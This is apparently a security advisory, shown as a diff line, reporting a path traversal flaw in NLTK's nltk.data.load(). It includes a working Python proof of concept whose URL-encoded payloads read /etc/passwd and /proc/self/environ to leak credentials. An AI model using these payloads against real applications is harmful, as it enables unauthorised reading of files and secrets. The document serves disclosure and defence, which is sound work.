+ "details": "### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650–L653 — final path constructed from url2pathname(resource_name) after checks\ndata.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615–L618 — defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK <= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n nltk/data.py:find() checks resource names against a regex for\n traversal patterns (../, leading /, etc.) BEFORE calling\n url2pathname() which decodes %xx sequences. This is a classic\n \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk <= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n \"\"\"Test a single traversal variant.\"\"\"\n try:\n content = nltk.data.load(payload, format=fmt)\n if isinstance(content, bytes):\n preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n else:\n preview = content[:200]\n first_line = preview.split(\"\\n\")[0]\n print(f\" [VULN] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Read OK: {first_line}\")\n return True\n except Exception as e:\n print(f\" [SAFE] {name}\")\n print(f\" Payload: {payload}\")\n print(f\" Blocked: {type(e).__name__}: {e}\")\n return False\n\n\ndef main():\n print(BANNER)\n vulns = 0\n\n # --- Variant 1: URL-encoded absolute path ---\n print(\"[1] URL-encoded absolute path (%2f = /)\")\n if test_variant(\n \"Encoded leading slash bypasses ^/ regex check\",\n \"nltk:%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 2: Encoded dot-dot traversal ---\n print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n if test_variant(\n \"Encoded dots bypass \\\\.\\\\./ regex check\",\n \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 3: Literal dots with encoded slash ---\n print(\"[3] Literal dots with encoded slash (..%2f)\")\n if test_variant(\n \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n ):\n vulns += 1\n\n print()\n\n # --- Variant 4: Read process environment (credential leak) ---\n print(\"[4] Read /proc/self/environ (credential leakage)\")\n try:\n content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n print(f\" [VULN] Leaked {len(env_vars)} environment variables\")\n for var in env_vars[:3]:\n if var:\n key = var.split(\"=\")[0] if \"=\" in var else var\n print(f\" {key}=...\")\n vulns += 1\n except Exception as e:\n print(f\" [SAFE] Blocked: {e}\")\n\n print()\n\n # --- Control: verify normal traversal IS blocked ---\n print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n print()\n print(\"=\" * 51)\n print(f\" Result: {vulns} bypass variant(s) succeeded\")\n if vulns > 0:\n print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n else:\n print(\" Status: Not vulnerable\")\n print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.",
0 commit comments